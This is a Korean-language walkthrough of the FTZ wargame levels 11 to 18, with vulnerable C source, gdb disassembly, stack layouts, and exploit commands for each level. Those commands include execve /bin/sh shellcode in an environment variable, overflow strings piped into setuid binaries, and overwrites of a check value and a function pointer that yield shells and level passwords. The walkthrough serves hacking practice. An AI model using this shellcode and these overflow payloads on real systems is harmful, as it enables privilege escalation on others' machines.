0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

Similar documents
Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

PowerPoint Template

hlogin2

Contents 1. 목적 풀이 Level

The Lord of the BOF -The Fellowship of the BOF 풀이보고서 by phpmyadmin -Contents- 0x00 프롤로그

Deok9_Exploit Technique

Smashing the Lord Of the Bof

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Return-to-libc

History

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

Microsoft Word - building the win32 shellcode 01.doc

Contents 1. 목적 풀이 gate

강의10

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

Sena Technologies, Inc. HelloDevice Super 1.1.0

Microsoft Word - readme.doc

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

Microsoft Word - FreeBSD Shellcode 만들기.docx

RTL

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

PowerPoint 프레젠테이션

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

Fedora Core 3,4,5 stack overflow.docx

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

<52544CC0BB20BEC6B4C2B0A12E687770>

PowerPoint 프레젠테이션

CKKeyPro 적용가이드

[8051] 강의자료.PDF

PowerPoint 프레젠테이션

6주차.key

Microsoft PowerPoint - a10.ppt [호환 모드]

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

Cogame 취약점 보고

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

01.The basics technic of Shellcode Excuse the ads! We need some help to keep our site up. List Shellcode The basics of shellcode(ubuntu-16.04) C ASM M

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

vi 사용법

Remote Buffer Overflow & Format String 2012 년 8 월 6 일월요일 오후 6:32 ================================================================ Title: Remote Buffer

Smashing The Stack For Fun And Profit by Aleph One

BufferOverflow on Solaris Sparc

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

lecture4(6.범용IO).hwp

PowerPoint 프레젠테이션

08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다.

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

PowerPoint 프레젠테이션

제1장 Unix란 무엇인가?

untitled

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost

슬라이드 1

UDCSC Hacking Festival 2005

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

Microsoft PowerPoint - a8a.ppt [호환 모드]

Execute_Shellcode_on_the_MacOSX.txt - 메모장

chap7.key

Microsoft PowerPoint - polling.pptx

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

/chroot/lib/ /chroot/etc/

歯7장.PDF

untitled

chap7.PDF

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

歯9장.PDF

PowerPoint 프레젠테이션

untitled


No Slide Title

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

BOF Foundation.doc

Microsoft PowerPoint - [2009] 02.pptx

슬라이드 1

4. #include <stdio.h> #include <stdlib.h> int main() { functiona(); } void functiona() { printf("hihi\n"); } warning: conflicting types for functiona

Microsoft PowerPoint - ch07 - 포인터 pm0415

hlogin7

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

Microsoft PowerPoint - a6.ppt [호환 모드]

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4

$ret = ""; $socket = fsockopen(" ", 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $

Infinity(∞) Strategy

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Table Of Contents 1/7 0. Introduction 0-1. Introduction 0-1. Testing Environment 1. Software Vulnerabilty Review 1-1. Buffer OverFlow 1-2. Format Stri

PowerPoint 프레젠테이션

Microsoft Word - ExecutionStack

=

Transcription:

FTZ LEVEL11 #include <stdio.h> #include <stdlib.h> int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$ gdb -q attackme (gdb) set disas main Undefined item: "main". (gdb) set disas intel (gdb) disas main Dump of assembler code for function main: 0x08048470 <main+0>: push ebp 0x08048471 <main+1>: mov ebp,esp 0x08048473 <main+3>: sub esp,0x108 0x08048479 <main+9>: sub esp,0x8 0x0804847c <main+12>: push 0xc14 0x08048481 <main+17>: push 0xc14 0x08048486 <main+22>: call 0x804834c <setreuid> 0x0804848b <main+27>: add esp,0x10 0x0804848e <main+30>: sub esp,0x8 0x08048491 <main+33>: mov eax,dword PTR [ebp+12] 0x08048494 <main+36>: add eax,0x4 0x08048497 <main+39>: push DWORD PTR [eax]

0x08048499 <main+41>: lea eax,[ebp-264] 0x0804849f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x10 0x080484a8 <main+56>: sub esp,0xc 0x080484ab <main+59>: lea eax,[ebp-264] 0x080484b1 <main+65>: push eax 0x080484b2 <main+66>: call 0x804833c <printf> 0x080484b7 <main+71>: add esp,0x10 0x080484ba <main+74>: leave 0x080484bb <main+75>: ret 0x080484bc <main+76>: nop 0x080484bd <main+77>: nop 0x080484be <main+78>: nop 0x080484bf <main+79>: nop End of assembler dump. main+48에서 <strcpy> 를콜하므로그전에넣을인자값을셋팅해야한다. <strcpy> 의인자값에 str[] 이있기때문에 str의시작은 ebp-264 지점이다. 따라서메모리구조는 str[256] dummy[8] sfp ret 환경변수를이용하여쉘코드를넣고쉘코드의시작주소를 ret에넣으면된다. getenv.c ----------------------------------------------- #include <stdio.h> #include <stdlib.h> int main(int argc, char **argv) { char *p; p = getenv(argv[1]);

if(p!= NULL) { printf("%s=%p\n",argv[1],p); return 0; 이 C 코드는입력한환경변수의주소를알려주는코드이다. 환경변수를추가시키고 [level11@ftz tmp]$ export EGG="`python -c "print '\x90'*100+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89 \xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'"`" 환경변수의주소를알아내면 [level11@ftz tmp]$./getenv EGG EGG=0xbffffc37 이제문제를풀면 쓰레기값 268 + \x37\xfc\xff\xbf [level11@ftz level11]$./attackme `python -c "print 'A'*268+'\x37\xfc\xff\xbf'"` sh-2.05b$ my-pass TERM environment variable not set. Level12 Password is "it is like this".

FTZ LEVEL12 #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( " 문장을입력하세요.\n" ); gets( str ); printf( "%s\n", str ); gdb 를이용해분석해보면 (gdb) disas main Dump of assembler code for function main: 0x08048470 <main+0>: push ebp 0x08048471 <main+1>: mov ebp,esp 0x08048473 <main+3>: sub esp,0x108 0x08048479 <main+9>: sub esp,0x8 0x0804847c <main+12>: push 0xc15 0x08048481 <main+17>: push 0xc15 0x08048486 <main+22>: call 0x804835c <setreuid> 0x0804848b <main+27>: add esp,0x10 0x0804848e <main+30>: sub esp,0xc 0x08048491 <main+33>: push 0x8048538 0x08048496 <main+38>: call 0x804834c <printf> 0x0804849b <main+43>: add esp,0x10 0x0804849e <main+46>: sub esp,0xc 0x080484a1 <main+49>: lea eax,[ebp-264] 0x080484a7 <main+55>: push eax

0x080484a8 <main+56>: call 0x804831c <gets> 0x080484ad <main+61>: add esp,0x10 0x080484b0 <main+64>: sub esp,0x8 0x080484b3 <main+67>: lea eax,[ebp-264] 0x080484b9 <main+73>: push eax 0x080484ba <main+74>: push 0x804854c 0x080484bf <main+79>: call 0x804834c <printf> 0x080484c4 <main+84>: add esp,0x10 0x080484c7 <main+87>: leave 0x080484c8 <main+88>: ret 0x080484c9 <main+89>: lea esi,[esi] 0x080484cc <main+92>: nop 0x080484cd <main+93>: nop 0x080484ce <main+94>: nop 0x080484cf <main+95>: nop End of assembler dump. 메모리구조를그리면 str[256] dummy[8] sfp ret 쓰레기값268 + 쉘주소똑같이환경변수를이용해풀면 (... 생략...) [level12@ftz level12]$ /tmp/ge EGG EGG=0xbffffc3d gets 를이용해입력을받기때문에파이프를이용해야한다. [level12@ftz level12]$ (python -c "print 'A'*268+'\x3d\xfc\xff\xbf'";cat)./attackme 문장을입력하세요. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=? my-pass TERM environment variable not set. Level13 Password is "have no clue". FTZ LEVEL13 #include <stdlib.h> main(int argc, char *argv[]) { long i=0x1234567; char buf[1024]; setreuid( 3094, 3094 ); if(argc > 1) strcpy(buf,argv[1]); if(i!= 0x1234567) { printf(" Warnning: Buffer Overflow!!! \n"); kill(0,11); gdb 를이용히여 (gdb) disas main Dump of assembler code for function main: 0x080484a0 <main+0>: push ebp 0x080484a1 <main+1>: mov ebp,esp 0x080484a3 <main+3>: sub esp,0x418 0x080484a9 <main+9>: mov DWORD PTR [ebp-12],0x1234567 0x080484b0 <main+16>: sub esp,0x8

0x080484b3 <main+19>: push 0xc16 0x080484b8 <main+24>: push 0xc16 0x080484bd <main+29>: call 0x8048370 <setreuid> 0x080484c2 <main+34>: add esp,0x10 0x080484c5 <main+37>: cmp DWORD PTR [ebp+8],0x1 0x080484c9 <main+41>: jle 0x80484e5 <main+69> 0x080484cb <main+43>: sub esp,0x8 0x080484ce <main+46>: mov eax,dword PTR [ebp+12] 0x080484d1 <main+49>: add eax,0x4 0x080484d4 <main+52>: push DWORD PTR [eax] 0x080484d6 <main+54>: lea eax,[ebp-1048] 0x080484dc <main+60>: push eax 0x080484dd <main+61>: call 0x8048390 <strcpy> 0x080484e2 <main+66>: add esp,0x10 0x080484e5 <main+69>: cmp DWORD PTR [ebp-12],0x1234567 0x080484ec <main+76>: je 0x804850d <main+109> 0x080484ee <main+78>: sub esp,0xc 0x080484f1 <main+81>: push 0x80485a0 0x080484f6 <main+86>: call 0x8048360 <printf> 0x080484fb <main+91>: add esp,0x10 0x080484fe <main+94>: sub esp,0x8 0x08048501 <main+97>: push 0xb 0x08048503 <main+99>: push 0x0 0x08048505 <main+101>: call 0x8048380 <kill> 0x0804850a <main+106>: add esp,0x10 0x0804850d <main+109>: leave 0x0804850e <main+110>: ret 0x0804850f <main+111>: nop End of assembler dump. ebp-12 부분이 0x1234567 이아니라면프로그램이종료된다. 따라서환경변 수를이용해쉘코드의주소를구한다음 ebp-12 부분에 0x1234567 를넣어주 면된다.

환경변수를이용해주소를구하면 (... 생략...) [level13@ftz level13]$ /tmp/ge EGG EGG=0xbffffc3d 메모리구조를보면 buf[1024] dummy[12] i[4] dummy[8] sfp ret 쓰레기값1036 + \x67\x45\x23\x01 + 쓰레기값12 + 쉘주소공격을하면 [level13@ftz level13]$./attackme `python -c "print 'A'*1036+'\x67\x45\x23\x01'+'A'*12+'\x3d\xfc\xff\xbf'"` sh-2.05b$ my-pass TERM environment variable not set. Level14 Password is "what that nigga want?". FTZ LEVEL14 #include <stdio.h> #include <unistd.h> main() { int crap; int check; char buf[20]; fgets(buf,45,stdin); if (check==0xdeadbeef) { setreuid(3095,3095); system("/bin/sh"); C 언어코드를보니 fgets 를이용하여입력을받는데 45byte 만큼의데이터를 받아버퍼오버플로우가일어난다. 그리고 if 문에서 deadbeef 를검사한

다. gdb를이용하여분석해보겠다. (gdb) disas main Dump of assembler code for function main: 0x08048490 <main+0>: push ebp 0x08048491 <main+1>: mov ebp,esp 0x08048493 <main+3>: sub esp,0x38 0x08048496 <main+6>: sub esp,0x4 0x08048499 <main+9>: push ds:0x8049664 0x0804849f <main+15>: push 0x2d 0x080484a1 <main+17>: lea eax,[ebp-56] 0x080484a4 <main+20>: push eax 0x080484a5 <main+21>: call 0x8048360 <fgets> 0x080484aa <main+26>: add esp,0x10 0x080484ad <main+29>: cmp DWORD PTR [ebp-16],0xdeadbeef 0x080484b4 <main+36>: jne 0x80484db <main+75> 0x080484b6 <main+38>: sub esp,0x8 0x080484b9 <main+41>: push 0xc17 0x080484be <main+46>: push 0xc17 0x080484c3 <main+51>: call 0x8048380 <setreuid> 0x080484c8 <main+56>: add esp,0x10 0x080484cb <main+59>: sub esp,0xc 0x080484ce <main+62>: push 0x8048548 0x080484d3 <main+67>: call 0x8048340 <system> 0x080484d8 <main+72>: add esp,0x10 0x080484db <main+75>: leave 0x080484dc <main+76>: ret 0x080484dd <main+77>: lea esi,[esi] End of assembler dump. fgets의인자중에 buf가있으므로 main+17부분에서 buf를불러온다. 이때 buf의시작은 ebp-56인것을알수있다. main+29 부분에서 ebp-16과 deadbeef 를비교하므로 ebp-16부분에 deadbeef 를넣으면쉘을딸수있다.

메모리구조를그려보면 buf[20] dummy[20] deadbeef dummy[12] sfp ret 쓰레기값40 + \xef\xbe\xad\xde 공격을하면 [level14@ftz level14]$ (python -c "print 'A'*40+'\xef\xbe\xad\xde'";cat)./attackme my-pass Level15 Password is "guess what". FTZ LEVEL15 #include <stdio.h> main() { int crap; int *check; char buf[20]; fgets(buf,45,stdin); if (*check==0xdeadbeef) { setreuid(3096,3096); system("/bin/sh"); 전문제와굉장히비슷한문제인데다른점이 check 가포인터가되었다는 것이다 그래도 gdb 로분석해보면 (gdb) disas main Dump of assembler code for function main: 0x08048490 <main+0>: push ebp 0x08048491 <main+1>: mov ebp,esp

0x08048493 <main+3>: sub esp,0x38 0x08048496 <main+6>: sub esp,0x4 0x08048499 <main+9>: push ds:0x8049664 0x0804849f <main+15>: push 0x2d 0x080484a1 <main+17>: lea eax,[ebp-56] 0x080484a4 <main+20>: push eax 0x080484a5 <main+21>: call 0x8048360 <fgets> 0x080484aa <main+26>: add esp,0x10 0x080484ad <main+29>: mov eax,dword PTR [ebp-16] 0x080484b0 <main+32>: cmp DWORD PTR [eax],0xdeadbeef 0x080484b6 <main+38>: jne 0x80484dd <main+77> 0x080484b8 <main+40>: sub esp,0x8 0x080484bb <main+43>: push 0xc18 0x080484c0 <main+48>: push 0xc18 0x080484c5 <main+53>: call 0x8048380 <setreuid> 0x080484ca <main+58>: add esp,0x10 0x080484cd <main+61>: sub esp,0xc 0x080484d0 <main+64>: push 0x8048548 0x080484d5 <main+69>: call 0x8048340 <system> 0x080484da <main+74>: add esp,0x10 0x080484dd <main+77>: leave 0x080484de <main+78>: ret 0x080484df <main+79>: nop End of assembler dump. level14와다똑같은데 main+29지점에서주소에있는값을비교하므로메모리안에있는 deadbeef를 ebp-16이그곳을가리키도록주소를넣어주면된다. 메모리구조를그려보면 buf[20] dummy[20] deadbeef의주소값 dummy[12] sfp ret 쓰레기값40 + deadbeef의주소값 이번공격에서는 cmp 로비교하는구문근처에서 deadbeef 을찾아시작주소 를 ebp-16 지점에넣겠다.

(gdb) x/16x 0x080484b0 0x80484b0 <main+32>: 0xbeef3881 0x2575dead 0x6808ec83 0x00000c18 0x80484c0 <main+48>: 0x000c1868 0xfeb6e800 0xc483ffff 0x0cec8310 0x80484d0 <main+64>: 0x04854868 0xfe66e808 0xc483ffff 0x90c3c910 (gdb) x/16x 0x080484b2 0x80484b2 <main+34>: 0xdeadbeef 0xec832575 0x0c186808 0x18680000 0x80484c2 <main+50>: 0xe800000c 0xfffffeb6 0x8310c483 0x48680cec 0x80484d2 <main+66>: 0xe8080485 0xfffffe66 0xc910c483 0x895590c3 deadbeef 의주소가 0x080484b2 라는것을알았다. 공격을하면 [level15@ftz level15]$ (python -c "print 'A'*40+'\xb2\x84\x04\x08'";cat)./attackme my-pass Level16 Password is "about to cause mass". FTZ LEVEL16 #include <stdio.h> void shell() { setreuid(3097,3097); system("/bin/sh"); void printit() { printf("hello there!\n"); main() { int crap; void (*call)()=printit; char buf[20]; fgets(buf,48,stdin); call(); shell() 함수의시작주소를 call() 함수를호출하는곳에넣으면쉘을획득할수있을것같다.

gdb 를이용해서분석을해보겠다. (gdb) disas main Dump of assembler code for function main: 0x08048518 <main+0>: push ebp 0x08048519 <main+1>: mov ebp,esp 0x0804851b <main+3>: sub esp,0x38 0x0804851e <main+6>: mov DWORD PTR [ebp-16],0x8048500 0x08048525 <main+13>: sub esp,0x4 0x08048528 <main+16>: push ds:0x80496e8 0x0804852e <main+22>: push 0x30 0x08048530 <main+24>: lea eax,[ebp-56] 0x08048533 <main+27>: push eax 0x08048534 <main+28>: call 0x8048384 <fgets> 0x08048539 <main+33>: add esp,0x10 0x0804853c <main+36>: mov eax,dword PTR [ebp-16] 0x0804853f <main+39>: call eax 0x08048541 <main+41>: leave 0x08048542 <main+42>: ret 0x08048543 <main+43>: nop 0x08048544 <main+44>: nop 0x08048545 <main+45>: nop 0x08048546 <main+46>: nop 0x08048547 <main+47>: nop 0x08048548 <main+48>: nop 0x08048549 <main+49>: nop 0x0804854a <main+50>: nop 0x0804854b <main+51>: nop 0x0804854c <main+52>: nop 0x0804854d <main+53>: nop 0x0804854e <main+54>: nop 0x0804854f <main+55>: nop End of assembler dump. buf의시작주소는 ebp-56이고, main+6 부분에서 printit 함수의주소를 ebp-16부분에넣고있고, main+36에서 ebp-16부분에있는값을 eax에넣고 call 한다. 따라서 ebp-16부분에 shell() 함수의시작주소를넣고익스플로잇하겠다.

(gdb) disas shell Dump of assembler code for function shell: 0x080484d0 <shell+0>: push ebp 0x080484d1 <shell+1>: mov ebp,esp 0x080484d3 <shell+3>: sub esp,0x8 0x080484d6 <shell+6>: sub esp,0x8 0x080484d9 <shell+9>: push 0xc19 0x080484de <shell+14>: push 0xc19 0x080484e3 <shell+19>: call 0x80483b4 <setreuid> 0x080484e8 <shell+24>: add esp,0x10 0x080484eb <shell+27>: sub esp,0xc 0x080484ee <shell+30>: push 0x80485b8 0x080484f3 <shell+35>: call 0x8048364 <system> 0x080484f8 <shell+40>: add esp,0x10 0x080484fb <shell+43>: leave 0x080484fc <shell+44>: ret 0x080484fd <shell+45>: lea esi,[esi] End of assembler dump. shell 의시작주소는 0x080484d0 이다. 쓰레기값 40 + shell() 의시작주소 공격을하면 [level16@ftz level16]$ (python -c "print 'A'*40+'\xd0\x84\x04\x08'";cat)./attackme my-pass Level17 Password is "king poetic". FTZ LEVEL17 #include <stdio.h> void printit() { printf("hello there!\n"); main()

{ int crap; void (*call)()=printit; char buf[20]; fgets(buf,48,stdin); setreuid(3098,3098); call(); 저번문제와달리 shell() 함수가없어져서직접쉘코드를환경변수에올려서 call() 함수를호출하는부분을 shellcode의시작주소로바꾸겠다. 환경변수를올려주소를찾아보겠다. 주소를찾는코드는위에있으니참고해서구하겠다. [level17@ftz level17]$ export EGG="`python -c "print '\x90'*100+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\ x89\xe1\x31\xd2\xb0\x0b\xcd\x80'"`" [level17@ftz level17]$ /tmp/ge EGG EGG=0xbffffc3d 그럼이제 gdb 를이용해서분석해보면 (gdb) disas main Dump of assembler code for function main: 0x080484a8 <main+0>: push ebp 0x080484a9 <main+1>: mov ebp,esp 0x080484ab <main+3>: sub esp,0x38 0x080484ae <main+6>: mov DWORD PTR [ebp-16],0x8048490 0x080484b5 <main+13>: sub esp,0x4 0x080484b8 <main+16>: push ds:0x804967c 0x080484be <main+22>: push 0x30 0x080484c0 <main+24>: lea eax,[ebp-56] 0x080484c3 <main+27>: push eax 0x080484c4 <main+28>: call 0x8048350 <fgets> 0x080484c9 <main+33>: add esp,0x10 0x080484cc <main+36>: sub esp,0x8 0x080484cf <main+39>: push 0xc1a 0x080484d4 <main+44>: push 0xc1a 0x080484d9 <main+49>: call 0x8048380 <setreuid> 0x080484de <main+54>: add esp,0x10 0x080484e1 <main+57>: mov eax,dword PTR [ebp-16] 0x080484e4 <main+60>: call eax

0x080484e6 <main+62>: leave 0x080484e7 <main+63>: ret 0x080484e8 <main+64>: nop 0x080484e9 <main+65>: nop 0x080484ea <main+66>: nop 0x080484eb <main+67>: nop 0x080484ec <main+68>: nop 0x080484ed <main+69>: nop 0x080484ee <main+70>: nop 0x080484ef <main+71>: nop End of assembler dump. printit() 함수의주소가 ebp-16에올라가고, buf는 ebp-56에올라간다. 따라서환경변수의주소를 ebp-16에넣어주면쉽게풀릴것같다. 쓰레기값 40 + 환경변수주소 공격을하면 [level17@ftz level17]$ (python -c "print 'A'*40+'\x3d\xfc\xff\xbf'";cat)./attackme my-pass TERM environment variable not set. Level18 Password is "why did you do it". FTZ LEVEL18 #include <stdio.h> #include <sys/time.h> #include <sys/types.h> #include <unistd.h> void shellout(void); int main() { char string[100]; int check; int x = 0; int count = 0; fd_set fds; printf("enter your command: "); fflush(stdout); while(1)

{ if(count >= 100) printf("what are you trying to do?\n"); if(check == 0xdeadbeef) shellout(); else { FD_ZERO(&fds); FD_SET(STDIN_FILENO,&fds); if(select(fd_setsize, &fds, NULL, NULL, NULL) >= 1) { if(fd_isset(fileno(stdin),&fds)) { read(fileno(stdin),&x,1); switch(x) { case '\r': case '\n': printf("\a"); break; case 0x08: count--; printf("\b \b"); break; default: string[count] = x; count++; break; void shellout(void) { setreuid(3099,3099); execl("/bin/sh","sh",null);

여러 c코드들이있지만 string 배열보다 check가늦게선언되어스택의특성상 check 부분을원하는값으로덮는것이불가능하다. 하지만 case문에서 0x08이 count를 해주고, defalut에서 string[count] 에 x를넣어준다. 따라서 count를음수로잡으면 string전에있는메모리도변조할수있을것이다. gdb 를이용해분석을해보겠다. (gdb) disas main Dump of assembler code for function main: 0x08048550 <main+0>: push ebp 0x08048551 <main+1>: mov ebp,esp 0x08048553 <main+3>: sub esp,0x100 0x08048559 <main+9>: push edi 0x0804855a <main+10>: push esi 0x0804855b <main+11>: push ebx 0x0804855c <main+12>: mov DWORD PTR [ebp-108],0x0 0x08048563 <main+19>: mov DWORD PTR [ebp-112],0x0 0x0804856a <main+26>: push 0x8048800 0x0804856f <main+31>: call 0x8048470 <printf> 0x08048574 <main+36>: add esp,0x4 0x08048577 <main+39>: mov eax,ds:0x804993c 0x0804857c <main+44>: mov DWORD PTR [ebp-252],eax 0x08048582 <main+50>: mov ecx,dword PTR [ebp-252] 0x08048588 <main+56>: push ecx 0x08048589 <main+57>: call 0x8048430 <fflush> 0x0804858e <main+62>: add esp,0x4 0x08048591 <main+65>: jmp 0x8048598 <main+72> 0x08048593 <main+67>: jmp 0x8048775 <main+549> 0x08048598 <main+72>: cmp DWORD PTR [ebp-112],0x63 0x0804859c <main+76>: jle 0x80485ab <main+91> 0x0804859e <main+78>: push 0x8048815 0x080485a3 <main+83>: call 0x8048470 <printf> 0x080485a8 <main+88>: add esp,0x4 0x080485ab <main+91>: cmp DWORD PTR [ebp-104],0xdeadbeef 0x080485b2 <main+98>: jne 0x80485c0 <main+112> 0x080485b4 <main+100>: call 0x8048780 <shellout> 0x080485b9 <main+105>: jmp 0x8048770 <main+544>

0x080485be <main+110>: mov esi,esi 0x080485c0 <main+112>: lea edi,[ebp-240] 0x080485c6 <main+118>: mov DWORD PTR [ebp-252],edi 0x080485cc <main+124>: mov ecx,0x20 0x080485d1 <main+129>: mov edi,dword PTR [ebp-252] 0x080485d7 <main+135>: xor eax,eax 0x080485d9 <main+137>: cld 0x080485da <main+138>: repz stos es:[edi],eax 0x080485dc <main+140>: mov DWORD PTR [ebp-244],ecx ---Type <return> to continue, or q <return> to quit--- 0x080485e2 <main+146>: mov DWORD PTR [ebp-248],edi 0x080485e8 <main+152>: jmp 0x80485f2 <main+162> 0x080485ea <main+154>: lea esi,[esi] 0x080485f0 <main+160>: jmp 0x80485c0 <main+112> 0x080485f2 <main+162>: xor eax,eax 0x080485f4 <main+164>: bts DWORD PTR [ebp-240],eax 0x080485fb <main+171>: push 0x0 0x080485fd <main+173>: push 0x0 0x080485ff <main+175>: push 0x0 0x08048601 <main+177>: lea ecx,[ebp-240] 0x08048607 <main+183>: mov DWORD PTR [ebp-252],ecx 0x0804860d <main+189>: mov edi,dword PTR [ebp-252] 0x08048613 <main+195>: push edi 0x08048614 <main+196>: push 0x400 0x08048619 <main+201>: call 0x8048440 <select> 0x0804861e <main+206>: add esp,0x14 0x08048621 <main+209>: mov DWORD PTR [ebp-252],eax 0x08048627 <main+215>: cmp DWORD PTR [ebp-252],0x0 0x0804862e <main+222>: jle 0x8048770 <main+544> 0x08048634 <main+228>: mov eax,ds:0x8049940 0x08048639 <main+233>: mov DWORD PTR [ebp-252],eax 0x0804863f <main+239>: mov ecx,dword PTR [ebp-252] 0x08048645 <main+245>: push ecx 0x08048646 <main+246>: call 0x8048420 <fileno> 0x0804864b <main+251>: add esp,0x4 0x0804864e <main+254>: mov DWORD PTR [ebp-252],eax 0x08048654 <main+260>: mov esi,dword PTR [ebp-252] 0x0804865a <main+266>: and esi,0x1f 0x0804865d <main+269>: mov edi,ds:0x8049940 0x08048663 <main+275>: mov DWORD PTR [ebp-252],edi

0x08048669 <main+281>: mov eax,dword PTR [ebp-252] 0x0804866f <main+287>: push eax 0x08048670 <main+288>: call 0x8048420 <fileno> 0x08048675 <main+293>: add esp,0x4 0x08048678 <main+296>: mov DWORD PTR [ebp-252],eax 0x0804867e <main+302>: mov edx,dword PTR [ebp-252] 0x08048684 <main+308>: shr edx,0x5 0x08048687 <main+311>: lea ecx,[edx*4] ---Type <return> to continue, or q <return> to quit--- 0x0804868e <main+318>: mov DWORD PTR [ebp-252],ecx 0x08048694 <main+324>: lea edx,[ebp-240] 0x0804869a <main+330>: mov edi,dword PTR [ebp-252] 0x080486a0 <main+336>: bt DWORD PTR [edi+edx],esi 0x080486a4 <main+340>: setb bl 0x080486a7 <main+343>: test bl,bl 0x080486a9 <main+345>: je 0x8048770 <main+544> 0x080486af <main+351>: push 0x1 0x080486b1 <main+353>: lea eax,[ebp-108] 0x080486b4 <main+356>: mov DWORD PTR [ebp-252],eax 0x080486ba <main+362>: mov ecx,dword PTR [ebp-252] 0x080486c0 <main+368>: push ecx 0x080486c1 <main+369>: mov edi,ds:0x8049940 0x080486c7 <main+375>: mov DWORD PTR [ebp-252],edi 0x080486cd <main+381>: mov eax,dword PTR [ebp-252] 0x080486d3 <main+387>: push eax 0x080486d4 <main+388>: call 0x8048420 <fileno> 0x080486d9 <main+393>: add esp,0x4 0x080486dc <main+396>: mov DWORD PTR [ebp-252],eax 0x080486e2 <main+402>: mov ecx,dword PTR [ebp-252] 0x080486e8 <main+408>: push ecx 0x080486e9 <main+409>: call 0x8048490 <read> 0x080486ee <main+414>: 